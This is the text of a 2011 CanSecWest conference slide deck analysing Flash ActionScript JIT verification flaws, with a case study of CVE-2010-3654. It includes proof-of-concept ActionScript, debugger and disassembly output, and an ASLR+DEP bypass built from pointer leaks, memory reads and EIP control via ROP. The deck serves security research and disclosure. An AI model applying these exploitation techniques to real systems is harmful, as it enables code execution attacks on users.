Can secwest2011 flash_actionscript

Understanding and Exploiting
Flash ActionScript Vulnerabilities
--
Haifei Li, Sr. Security Researcher
hfli@fortinet.com
CanSecWest 2011, March 2011

Why started this research
• Recent years we have seen an increase number of Flash
Player vulnerabilities.

Why started this research
• Most “Memory Corruption” are actually ActionScript-level
vulnerabilities.

Flash Zero-day Attacks
• We have seen many Flash zero-day attacks in the wild in
recent years.
• Easy to find Flash zero-day.
• Analysis show that they found the bugs just by “dumb
fuzzing” – one-byte modification.

The Ugly Thing
• Have not seen an Flash exploit working on Windows 7 (a
waste of your Flash zero-day)
• No one knows the essence of the vulnerability (even though
they can find it by “dumb fuzzing” and exploit it on Windows
XP with heap spraying)

Objectives
• Know the essence of the ActionScript vulnerabilities
• Know (you can and) how to write ASLR+DEP bypassing
exploit for ActionScript vulnerabilities.

Agenda
Overview on AVM2 and JIT
Atom Confusion
Essence of ActionScript Vulnerability
1
3
2
4 Case Study: Understanding CVE-2010-3654
5 Case Study: Exploiting CVE-2010-3654

Overview on AVM2 and JIT
…
mov dword ptr [ebp-14], 2BC5732 ; 0x02BC5732 is the
mov eax, dword ptr [edi] ; Atom of “aaaaaaaa”
push ecx
push 1
push edi
call eax ; call to “flash!trace()”
Adobe Flash Professional
Adobe Flash BuilderActionScript
Source Code
SWF File
(Bytecode)
Machine
Code
JIT
Implementation
trace (“aaaaaaaa”); findpropstric <q>[public]::trace
pushstring “aaaaaaaa”
callpropvoid <q>[public]::trace, 1 params

How JIT Works
Exit
Verification
Process
Bytecode
Verification
Failed
Generation
Process
Execution
Process
Verification
Passed
Checking the bytecode
if it is safe and legal
Compiling bytecode
to native code
Executing the
native code

Bytecode Block
• A function will be divided into many “Bytecode Blocks”.
• Based on “Jumping Targets”
• Jumping Targets are from Jumping Operators
• Jumping Operator: jump / jne / ifnle / lookupswitch… Any
operators could produce a new branch in function.

ActionScript Structure
Bytecode Block
Bytecode Block
Bytecode Block
Bytecode Block
Function
Class
Package

• Verification Flow: The calculated
flow that used in the Verification
and Generation Process.
• Execution Flow: The real program flow.
Verification Flow and
Execution Flow
Verification Flow
Execution Flow
Exit
Verification
Process
Bytecode
Verification
Failed
Generation
Process
Execution
Process
Verification
Passed

ActionScript Vulnerability
• ActionScript Vulnerabilities are due to various program flow
calculating errors in the Verification/Generation Process
(the Verification Flow and the Execution Flow are not the
same).

same).
Bytecode Flow A
Verification/Generation
Process JITed
Native
Code

same).
Bytecode Flow A
Process JITed
Native
Code
Legal and safe
for Flow A

same).
Bytecode Flow A
Process JITed
Native
Code
F
l
o
w
B
Legal and safe
for Flow A
Execution
Process

same).
Bytecode Flow A
Process JITed
Native
Code
F
l
o
w
B
Legal and safe
for Flow A
The JITed code
might not be
safe for Flow B!
Execution
Process

Safe Block
L1: findpropstric <q>[public]::trace ; func “trace()” object pushed
L2: pushstring “aaaaaaaa” ; push a string
L3: callpropvoid <q>[public]::trace, 1 params ; call on the func object

Safe Block
trace(“aaaaaaaa”);

Safe Block
trace(“aaaaaaaa”);
Verification: Pass
Generate/Execute safe Native Code

Un-safe Block
L1: pushint 0x41414141 ; push an integer
L3: callpropvoid <q>[public]::trace, 1 params ; ?

Un-safe Block
* Verification: Failed
* Reason: “callpropvoid” needs
an Object, you give an Integer.

Un-safe Block
* But, say, if it passes the
Verification…
* Will generate/execute un-
safe Native Code

Un-safe Block
* But, say, if it passes the
Verification…
* Will generate/execute un-
safe Native Code
So we say
this situation
is un-safe.

Example
L1: findpropstric <q>[public]::trace
L2: pushstring “bbbbbbbb”
L3: jump L6
L4: pushint 0x41414141
L5: pushstring “aaaaaaaa”
L6: callpropvoid <q>[public]::trace, 1 params

Example
• Assume that there are two Jumping Targets point to Line 1
and Line 4 (may from other Jumping Operators).
Jumping Target 2
L3: jump L6
Jumping Target 1

Example
• Assume that there are two Jumping Targets point to Line 1
and Line 4 (may from other Jumping Operators).
• So, the whole Bytecode will be divided into 3 Blocks (plus
the Jumping Target at Line 6 produced by Line 3).
Jumping Target 2
L3: jump L6
Block 1
Block 2
Block 3
Jumping Target 1

Verification Flow
• Verification Flow: Block 1 => Block 3
L3: jump L6
Block 1
Block 2
Block 3
Verification Flow (from Jumping Target 1)

Execution Flow
• Execution Flow: Block 2 => Block 3
L3: jump L6
Block 1
Block 2
Block 3
Execution Flow (from Jumping Target 2)

Verification Flow: Safe
• Verification Flow will be safe (L1 and L2 produce safe
stack for L6 “callproviod”). Will pass the Verification,
and go into the Generation Process.
L3: jump L6
Block 1
Block 2
Block 3
safe stack

In the Generation Process
• Note: Block 2 will also be JITed, because on the
Verification’s side, this Block is safe as well (since it is
not able to connect the Block 2 with Block 3, it thinks
Block 2 is only pushing some bytes on the stack).
L3: jump L6
Block 1
Block 2
Block 3
safe stack
Block 2 is safe
and JITed!

In the Execution Process
• Execution Flow is not safe (L4 and L5 produce un-safe
stack for L6 “callproviod”). Will trigger a vulnerability.
L3: jump L6
Block 1
Block 2
Block 3
Execution Flow (through Jumping Target 2)
un-safe stack

The Whole Stuff
• Verification Flow: Pass the Verification
• Execution Flow: Trigger the Vulnerability
L3: jump L6
Block 1
Block 2
Block 3
Verification Flow (through Jumping Target 1)
Execution Flow (through Jumping Target 2)
safe stack
un-safe stack

A Conclusion
calculating errors in the Verification/Generation Process.
• Bytecode Block makes the Verification Process difficult to
recognize the correct flow, which results most ActionScript
vulnerabilities.
• The inconsistency not only happens on the Bytecode-Block-
level, but also may happen on Function-level (Class-level,
Package-level).
• Will give a real example in later case study (CVE-2010-
3654).

Agenda
Atom Confusion
3
2
Overview on AVM2 and JIT1

Atom Confusion
• A new concept specifically for ActionScript vulnerability.
• ActionScript vulnerability results in/can be transferred to
Atom Confusion situation.
• Consequence of ActionScript vulnerabilities.

What is an “Atom”
• First disclosed in Dion Blazakis’s JIT Spray paper.

How Atom Looked Like in
JITed Code
…
mov dword ptr [ebp-14], 2BC5732 ; 0x02BC5732 is an
mov eax, dword ptr [edi] ; String Atom
push ecx
push 1
push edi
call eax ; call to “flash!trace()”
…
1. Last 3 bits “010” indicates it is a String Atom
2. The original value (the String Pointer) for the String is (un-
tag):
0x02BC5732 & 0xFFFFFFF8 = 0x02BC5730

What is an “Atom Confusion” –
Just an example
• If it really bypasses the Verification Process and results in
an ActionScript vulnerability…
• “callpropvoid” needs a (function) Object Atom, but you input
an Integer Atom.
• Atom Confusion thus happens.
• More details in the coming Case Study part…
pushint 0x41414141 ; push an integer
pushstring “aaaaaaaa” ; push a string
callpropvoid <q>[public]::trace, 1 params ; call ?

Agenda
Atom Confusion
3
2
Overview on AVM2 and JIT (Verification)1

Background of CVE-2010-3654
• Disclosed as a zero-day attack in late October, 2010, the
latest affected Flash Player was flash10k.ocx.
• I posted a blog showing:
1. Another “dumb fuzzing” case.
2. On the AVM2 byte code format, this one-byte
modification means it changed a MultiName:
MultiName: fl.controls::RadioButtonGroup

MultiName: fl.controls::Button

CVE-2010-3654
• “fl.controls::RadioButtonGroup” to “fl.controls::Button” is still
far away to the root cause.
• Thus, I spent much time on simplifying the PoC (as well as
developed a Flash ActionScript analyzing tool)

Simplified Source Code Structure
Main Class
Original_Class
Real_Ref_Class

Main Class
Original_Class
Real_Ref_Class
var obj:Original_Class = Original_Class.static_func1();
obj.normal_func1();

Main Class
Original_Class
Real_Ref_Class
obj.normal_func1();
static function static_func1():Original_Class
function normal_func1();

Main Class
Original_Class
Real_Ref_Class
obj.normal_func1();
function normal_func1();
static function static_func1():uint {
var v:uint = 0x41414141;
return v;
}
Real_Ref_Class
Not really used
in the Main Class

Source Code – Main Class
import Original_Class; //refer to Class “Original_Class”
import Real_Ref_Class; //refer to Class “Real_Ref_Class”
import flash.display.Sprite;
public class PoC_Main extends Sprite {
function get get_test1():Real_Ref_Class { //Make sure the “Real_Ref_Class”
return null; //will be compiled in the Flash file
}
public function PoC_Main() {
//return another "Original_Class" object, calling the 1st static function
var obj:Original_Class=Original_Class.static_func1();
//call the 1st function (not "static")
obj.normal_func();
}
}

Source Code – Original_Class
//Original_Class.as
public class Original_Class {
static function static_func1():Original_Class {
return null;
}
function normal_func1() {
}
}

Source Code – Real_Ref_Class
//Real_Ref_Class.as
import flash.display.Sprite;
public class Real_Ref_Class extends Sprite {
static function func1():uint {
var v:uint=0x41414141; //return an Integer
return v;
}
}

Modifying the Compiled Flash File
• In the “MultiName” field:
“<q>[public]::Original_Class”
=>
“<q>[public]::Real_Ref_Class”
• We have two “<q>[public]::Real_Ref_Class” in the File.

“MultiName” Before Modification

“MultiName” After Modification

Got a crash
It crashed in the JITed function
so it does not fall in any module.

Analyzing the crash
02DA9FA0 mov ecx, dword ptr [eax+8]
02DA9FA3 mov ecx, dword ptr [ecx+48]
02DA9FA6 lea edx, [ebp-10]
02DA9FA9 mov dword ptr [ebp-10], eax
02DA9FAC mov eax, dword ptr [ecx]
02DA9FAE push edx
02DA9FAF push 0
02DA9FB1 push ecx
02DA9FB2 call eax
02DA9FB4 add esp, 0C
02DA9FB7 test eax, eax
02DA9FB9 je short 02DA9FE4
02DA9FBB mov ecx, dword ptr [eax+8] ; crashed here, [41414141h+8] = ?
02DA9FBE mov ecx, dword ptr [ecx+40]
02DA9FC1 lea edx, [ebp-10]
02DA9FC4 mov dword ptr [ebp-10], eax
02DA9FC7 mov eax, dword ptr [ecx]
02DA9FC9 push edx
02DA9FCA push 0
02DA9FCC push ecx
02DA9FCD call eax

Analyzing the crash
02DA9FAE push edx
02DA9FAF push 0
02DA9FB1 push ecx
02DA9FB2 call eax ; this call returns 41414141h
02DA9FBB mov ecx, dword ptr [eax+8]
02DA9FC9 push edx
02DA9FCA push 0
02DA9FCC push ecx
02DA9FCD call eax

Analyzing the crash
02DA9FAE push edx
02DA9FAF push 0
02DA9FB1 push ecx
02DA9FB2 call eax ; this call returns 41414141h
02DA9FBB mov ecx, dword ptr [eax+8]
02DA9FC9 push edx
02DA9FCA push 0
02DA9FCC push ecx
02DA9FCD call eax
Let’s go into this call!

seg000:0000FECD push ebp
seg000:0000FECE mov ebp, esp
seg000:0000FED0 sub esp, 18h
seg000:0000FED3 mov ecx, [ebp+arg_0]
seg000:0000FED6 lea eax, [ebp+var_C]
seg000:0000FED9 mov edx, ds:2AD9064h
seg000:0000FEDF mov [ebp+var_8], ecx
seg000:0000FEE2 mov [ebp+var_C], edx
seg000:0000FEE5 mov ds:2AD9064h, eax
seg000:0000FEEB mov edx, ds:2AD9058h
seg000:0000FEF1 cmp eax, edx
seg000:0000FEF3 jnb short loc_FEFA
seg000:0000FEF3
seg000:0000FEF5 call 10398400
seg000:0000FEF5
seg000:0000FEFA
seg000:0000FEFA loc_FEFA: ; CODE XREF: sub_FECD+26j
seg000:0000FEFA mov eax, 41414141h
seg000:0000FEFF mov ecx, [ebp+var_C]
seg000:0000FF02 mov ds:2AD9064h, ecx
seg000:0000FF08 mov esp, ebp
seg000:0000FF0A pop ebp
seg000:0000FF0B retn

seg000:0000FEF3
seg000:0000FEF5 call 10398400
seg000:0000FEF5
seg000:0000FEFA
Remember?
var v:uint = 0x41414141;
return v;
}

seg000:0000FEF3
seg000:0000FEF5 call 10398400
seg000:0000FEF5
seg000:0000FEFA
Remember?
var v:uint = 0x41414141;
return v;
}
In
Real_Ref_Class!

JITed Main Function
02DA9FA0 mov ecx, dword ptr [eax+8] ; get the wrong class object
; Real_Ref_Class
02DA9FAE push edx
02DA9FAF push 0
02DA9FB1 push ecx
02DA9FB2 call eax

JITed Main Function
; Real_Ref_Class
02DA9FA3 mov ecx, dword ptr [ecx+48] ; get 1st static func on the class
02DA9FAE push edx
02DA9FAF push 0
02DA9FB1 push ecx
02DA9FB2 call eax

JITed Main Function
; Real_Ref_Class
02DA9FAE push edx
02DA9FAF push 0
02DA9FB1 push ecx
02DA9FB2 call eax ; calling the 1st static function

JITed Main Function
; Real_Ref_Class
02DA9FAE push edx
02DA9FAF push 0
02DA9FB1 push ecx
02DA9FB2 call eax ; calling the 1st static function
It is actually the JITed code for:
But it becomes:
var obj: Real_Ref_Class = Real_Ref_Class.static_func1();

Using Real_Ref_Class Directly
Main Class
Real_Ref_Class
var obj:Real_Ref_Class = Real_Ref_Class.static_func1();
var v:uint = 0x41414141;
return v;
}

Main Class
Real_Ref_Class
var v:uint = 0x41414141;
return v;
}
Can not pass the Verification Process!

Main Class
Real_Ref_Class
var v:uint = 0x41414141;
return v;
}
Can not pass the Verification Process!
Integer cannot be accepted as a Class Object!

The Root Cause
• Verification Flow is “Main Class (main function) =>
Original_Class (static function)”
• Return type from Original_Class is safe/legal for Main
Class so it will pass the JIT Verification.
• Execution Flow is “Main Class (main function) =>
Real_Ref_Class (static function)”
• Return type from Real_Ref_Class is un-safe for Main
Class so it will trigger the vulnerability.
• The inconsistency of the Verification Flow and the
Execution Flow.

Atom Confusion Happens
Main Class
Original_Class
Real_Ref_Class
Return an Integer (0x41414141)
var v:uint = 0x41414141;
return v; }

Main Class
Original_Class
Real_Ref_Class
Accept the
return value
as Class
Object!
var v:uint = 0x41414141;
return v; }

Main Class
Original_Class
Real_Ref_Class
According to the definition:
Accept the
return value
as Class
Object!
var v:uint = 0x41414141;
return v; }

Main Class
Original_Class
Real_Ref_Class
Accept the
return value
as Class
Object!
var v:uint = 0x41414141;
return v; }
Telling the Main
Class what kind of
Atom to accept

Main Class
Original_Class
Real_Ref_Class
No Verification on the “Interface” between
the Main Class and Real_Ref_Class
Verification was took on the “Interface”
between the Main Class and Original Class
Accept the
return value
as Class
Object!
Atom Confusion
Happens on
this Interface
var v:uint = 0x41414141;
return v; }
Telling the Main
Class what kind of
Atom to accept

Current ASLR+DEP
Bypassing Landscape
• non-ASLR module
• Same as DEP only, ROP
• Xiaobo Chen’s new finding (.NET 2 modules)
• Deficiency: Easy to block it by vendors
• JIT Spray (or similar ideas)
• Same as ASLR only (as spraying executable code)
• Dion Blazakis’s XOR approach for Flash Player JIT
• Deficiency: Not hard to block it by vendors (improve/
randomize the JITed pages, as current Flash Players did)
• Memory information disclosure
• Advantage: Various applications may have various
memory information disclosure issues. not possible to
block all of them.

Leveraging Atom Confusion
• Exploiting Flash ActionScript vulnerability can be
transferred to leveraging Atom Confusion.
• In Practice, when Atom Confusion happens:
1. Leaking Internal Object Pointer
2. Reading Memory Values & Leaking Module Address

Leaking Internal Object Pointer
• The Idea:
Return the Object that you want to leak in Real_Ref_Class
(in the static function), but the object is accepted as an
Integer (uint) in the Main Class.

In the Real_Ref_Class
static function static_func1():Object //return as Object
{
var aa1:ByteArray = new ByteArray();
aa1.writeUnsignedInt(0x41414141);
return aa1;
}

Main Class and Original_Class
In the Main Class:
//accept the return value as an Integer
var retAtom:uint = Original_Class.static_func1();
//display the return value
Status.Log(“retAtom = 0x” + retAtom.toString(16));

In the Main Class:
In the Original_Class:
static function static_func1():uint
{
return 1; //does not matter
}

In the Main Class:
In the Original_Class:
static function static_func1():uint
{
return 1; //does not matter
}
The return type
“uint” telling the
Main Class to
accept the return
value as an Integer.

Debugging the Example
• 02cccef2 8b4808 mov ecx,dword ptr [eax+8]
• 02cccef5 8b4948 mov ecx,dword ptr [ecx+48h]
• 02cccef8 8d55ec lea edx,[ebp-14h]
• 02cccefb 8945ec mov dword ptr [ebp-14h],eax
• 02cccefe 8b01 mov eax,dword ptr [ecx]
• 02cccf00 52 push edx
• 02cccf01 6a00 push 0
• 02cccf03 51 push ecx
• 02cccf04 ffd0 call eax ; call to "static_func1"
• 02cccf06 83c40c add esp,0Ch
Setting a break point at 02cccf06…

Debugging the Example
• eax=02e17d61 ebx=02dfc060 ecx=0013e348 edx=00000000
esi=02b30030 edi=02cad6d0
• eip=02cccf06 esp=0013e300 ebp=0013e354 iopl=0 nv up ei pl nz
ac po nc
• cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00040212
• <Unloaded_ta.dll>+0x2cccf05:
• 02cccf06 83c40c add esp,0Ch
02e17d61 suggests that the return value is an Object Atom
(as last three bits are “001”). The original value should be
02e17d60

Debugging the ByteArray
0:000> dd 02e17d60
02e17d60 104991e8 80002101 02ea9f00 02b92c70
02e17d70 02e17d78 00000040 104991c8 00000000

0:000> dd 02e17d60
02e17d60 104991e8 80002101 02ea9f00 02b92c70
02e17d70 02e17d78 00000040 104991c8 00000000
0:000> dd 02e17d78
02e17d78 104991c8 00000000 00001000 00000010
02e17d88 02cb9000 00000000 02b30030 104991c0

0:000> dd 02e17d60
02e17d60 104991e8 80002101 02ea9f00 02b92c70
02e17d70 02e17d78 00000040 104991c8 00000000
0:000> dd 02e17d78
02e17d78 104991c8 00000000 00001000 00000010
02e17d88 02cb9000 00000000 02b30030 104991c0
0:000> dd 02cb9000
02cb9000 41414141 42424242 43434343 44444444
02cb9010 00000000 00000000 00000000 00000000

0:000> dd 02e17d60
02e17d60 104991e8 80002101 02ea9f00 02b92c70
02e17d70 02e17d78 00000040 104991c8 00000000
0:000> dd 02e17d78
02e17d78 104991c8 00000000 00001000 00000010
02e17d88 02cb9000 00000000 02b30030 104991c0
0:000> dd 02cb9000
02cb9000 41414141 42424242 43434343 44444444
02cb9010 00000000 00000000 00000000 00000000
aa1.writeUnsignedInt(0x41414141); Remember?
aa1.writeUnsignedInt(0x42424242); ByteArray In
aa1.writeUnsignedInt(0x43434343); Real_Ref_Class

Get the Output for “retAtom”
• Continue execute our Flash file, display the value of
retAtom.
• We have:
[output] retAtom = 0x02e17d61

Get the Output for “retAtom”
• Continue execute our Flash file, display the value of
retAtom.
• We have:
[output] retAtom = 0x02e17d61
Remember?
0:000> dd 02e17d60
02e17d60 104991e8 80002101 02ea9f00 02b92c70
02e17d70 02e17d78 00000040 104991c8 00000000
Atom (the 32-
bits) Leaked!

What we know…
• We actually leaked the (tagged) pointer of the ByteArray
Object (p_tagged_ByteArray).
• We know how to reach the bytes we could control through
the leaked pointer.
p_ByteArray = p_tagged_ByteArray & 0xFFFFFFF8
p_controlledBytes = [ [ p_ByteArray + 0x10 ] + 0x10 ]

What we need to do…
• But we do not have a method to “read” the pointers in the
structures.

• But we do not have a method to “read” the pointers in the
structures.
p_controlledBytes = [ [ p_ByteArray + 0x10 ] + 0x10 ]
How to read the pointer
at offset 0x10?

• We need to leak the module load address:
• Since our controlled bytes are not executable.
• We still need ROP in some module to bypass DEP.

For the First DWORD
• Back to our previous test, we dump the memory at the
p_ByteArray again.
0:000> dd 0x02e17d60
02e17d60 104991e8 80002101 02ea9f00 02b92c70
02e17d70 02e17d78 00000040 104991c8 00000000
In .rdata section of flash10k.ocx
.rdata:104991E8 dd offset sub_101B8D51
.rdata:104991EC dd offset sub_101B516C
.rdata:104991F0 dd offset sub_103B0550
.rdata:104991F4 dd offset sub_103B0C30
Subtracting
0x004991e8
is the module
load address

• Therefore, all we have to do is to:
Find an approach to
“read” memory values

The “Number” Object (Class)
• According to Adobe’s ActionScript 3.0 Reference:
A data type representing an IEEE-754 double-precision
floating-point number. You can manipulate primitive
numeric values by using the methods and properties
associated with the Number class. This class is identical to
the JavaScript Number class.
• Similar than the double type in C.

The “Number” Object (Class)
• According to IEEE-754 standard:
• Occupies 8 bytes in the memory for representing the
value.
• You know the numeric value of the “Number”, you know
the 8 bytes. There is an algorithm.

Leveraging Number Object
• The Idea:
If we can build a Number object based on the memory
address then we can calculate out the representing 8 bytes
in the memory through the value of the Number.
• How to achieve this in practice?

Leveraging Number Object
• Using “new Number()” to create a Number object
• Do you think “new Number(100)” will result in reading
memory values at memory address 0x00000100?
• “new Number()” only accepts Integer as legal value type,
other value types will be blocked in Verification Process.
– This is called ActionScript’s “type safety” by Adobe.
• But only with there is no “Atom Confusion”…

Using “Atom Confusion” to
Break “Type Safety”
• The idea:
1. When a value is being returned from the Real_Ref_Class, the
Main Class will accept the value according to the Atom Type
which is defined in the Original_Class.
2. But, if we do not define any Atom Type in the Original_Class,
the Main Class does not know which kind of Atom it will accept.
At this time, it will obtain the Atom Type information from the
return value.
3. We set the type information of the Number Atom in the
Real_Ref_Class. The Main Class will accept it as a Number
Atom.

The Idea
Main Class
Original_Class
Real_Ref_Class
Set the Atom type
//last three bits 111 for Number
atom = atom | 0x00000007;

The Idea
Main Class
Original_Class
Real_Ref_Class
Do not give out the return type
static function static_func2(param_in:String)
{
}

The Idea
Main Class
Original_Class
Real_Ref_Class
Will read the Atom type info
on the return value!

Practice – Main Class
//leaking the tagged pointer of ByteArray
var p_tagged_ByteArray:uint = Original_Class.static_func1();
//un-tag the tagged pointer
var p_ByteArray:uint = p_tagged_ByteArray & 0xFFFFFFF8;

//use string to transfer the address value
var p_ByteArray_str:String = p_ByteArray.toString();
//making another Atom Confusion
var num_obj_get = Original_Class.static_func2(p_ByteArray_str);

//building the Number object
var num_obj:Number = new Number(num_obj_get);

//building the Number object
var num_obj:Number = new Number(num_obj_get);
Status.Log("p_ByteArray = 0x" + p_ByteArray.toString(16));
Status.Log("num_obj = " + num_obj.toString());

Practice – Original_Class
//do not give out the return type of the function
static function static_func2(param_in:String) {
}

Practice – Real_Ref_Class
static function real_func2_retNumberAtom(param_in:String):uint {
var atom:uint;
//parse the Integer value from the input string, like atoi()
//set as an Number Atom (last three bits are “111”)
atom = atom | 0x00000007;
return atom;
}

Practice
• We got the output:
[output] p_ByteArray = 0x2b0ed60
[output] num_obj = -1.792887744473015e-310

Practice
[output] num_obj = -1.792887744473015e-310
• According to IEEE-754, the -1.792887744473015e-310 will
be stored in the memory as "E8 91 49 10 01 21 00 80“

Practice
[output] num_obj = -1.792887744473015e-310
• Remember?
0:000> dd 0x02e17d60
02e17d60 104991e8 80002101 02ea9f00 02b92c70
02e17d70 02e17d78 00000040 104991c8 00000000

Practice
[output] num_obj = -1.792887744473015e-310
• Remember?
0:000> dd 0x02e17d60
02e17d60 104991e8 80002101 02ea9f00 02b92c70
02e17d70 02e17d78 00000040 104991c8 00000000
They are the same!

Practice
[output] num_obj = -1.792887744473015e-310
• Remember?
0:000> dd 0x02e17d60
02e17d60 104991e8 80002101 02ea9f00 02b92c70
02e17d70 02e17d78 00000040 104991c8 00000000
• We finally read the memory successfully!
They are the same!

Reading/Leaking All We Want!
• Leaking Module Load Address:
*(DWORD *) p_ByteArray - 0x004991e8
• Leaking Pointer of Controlled Bytes in ByteArray:
*(DWORD *)(* (DWORD *) (p_ByteArray + 0x10) + 0x10)

Controlling the EIP
• Recall our first crashed simplified PoC:
obj.normal_func1();

Controlling the EIP
02DA9FAE push edx
02DA9FAF push 0
02DA9FB1 push ecx
02DA9FB2 call eax
02DA9FBB mov ecx, dword ptr [eax+8] ; crashed here, [41414141h+8] = ?
02DA9FC9 push edx
02DA9FCA push 0
02DA9FCC push ecx
02DA9FCD call eax

Controlling the EIP
02DA9FAE push edx
02DA9FAF push 0
02DA9FB1 push ecx
02DA9FB2 call eax ; call to the Real_Ref_Class
02DA9FB7 test eax, eax ; EAX is controlled (lp_Control)
02DA9FBB mov ecx, dword ptr [eax+8] ; [ lp_Control + 8 ]
02DA9FC9 push edx
02DA9FCA push 0
02DA9FCC push ecx
02DA9FCD call eax

Controlling the EIP
02DA9FAE push edx
02DA9FAF push 0
02DA9FB1 push ecx
02DA9FBE mov ecx, dword ptr [ecx+40] ; [ [ lp_Control + 8 ] + 40h ]
02DA9FC9 push edx
02DA9FCA push 0
02DA9FCC push ecx
02DA9FCD call eax ; [ [ [ lp_Control + 8 ] + 40h ] ]

Controlling the EIP
02DA9FAE push edx
02DA9FAF push 0
02DA9FB1 push ecx
02DA9FBE mov ecx, dword ptr [ecx+40] ; [ [ lp_Control + 8 ] + 40h ]
02DA9FC9 push edx
02DA9FCA push 0
02DA9FCC push ecx
02DA9FCD call eax ; [ [ [ lp_Control + 8 ] + 40h ] ]
Actually the JITed code is for calling the
1st normal function on a Class Object:
obj.normal_func1();

Controlling the EIP
1. We set the lp_Control as a pointer to our controlled bytes in
ByteArray, as we are already able to leak it.

Controlling the EIP
2. Return the lp_Control using Atom Confusion, but this time it
will be accepted as a Class Object.

Controlling the EIP
3. Call the 1st normal function on the “fake” Class Object.
EIP controlled to: [ [ [ lp_Control + 8 ] + 40h ] ] ]

Controlling the EIP
3. Call the 1st normal function on the “fake” Class Object.
EIP controlled to: [ [ [ lp_Control + 8 ] + 40h ] ] ]
4. Build some controlled byte blocks according to the above
relations so we can gain exact EIP control.

Putting It Together
• ROP to bypass DEP (all gadgets from flash10k.ocx)

Putting It Together
• We leaked the load address of flash10k.ocx thus we are
able to update every gadget addresses before executing
them.

Putting It Together
them.
• We build many blocks (via ByteArray) in accordance with
our needs:
• The bytes in the block we controlled
• The address of the block we leaked

Putting It Together
them.
• We build many blocks (via ByteArray) in accordance with
our needs:
• The bytes in the block we controlled
• The address of the block we leaked
• We can do everything!

A Perfect Exploit
• %100 reliable.
• does not rely on non-ASLR module.
• does not rely on any heap spraying or JIT
spraying technology (thus works very fast)

Summary
• The fact:
Flash ActionScript vulns are due to various program flow
calculating errors.
• The consequence:
Result in “Atom Confusion”
• Leveraging “Atom Confusion”:
• Leaking Internal Object Pointers
• Reading Memory Values (Via Building Number Atom)
• The result:
There is a reliable and wonderful way to exploit Flash
ActionScript vulnerabilities on ASLR+DEP condition.

Conclusion
• For all: Flash ActionScript Vulnerability can do much more
than we thought before.
• For exploit developer: Developing reliable modern exploit
(ASLR+DEP bypassing) for Flash ActionScript Vulnerability
won’t be a big deal.
• For White-hats: We promote Flash ActionScript
Vulnerabilities to a highly dangerous level.
• For Black-hats: Re-analyze on your Flash zero-day
• For Adobe: Improving the JIT is necessary as it makes
ASLR+DEP mitigation useless.

Can secwest2011 flash_actionscript

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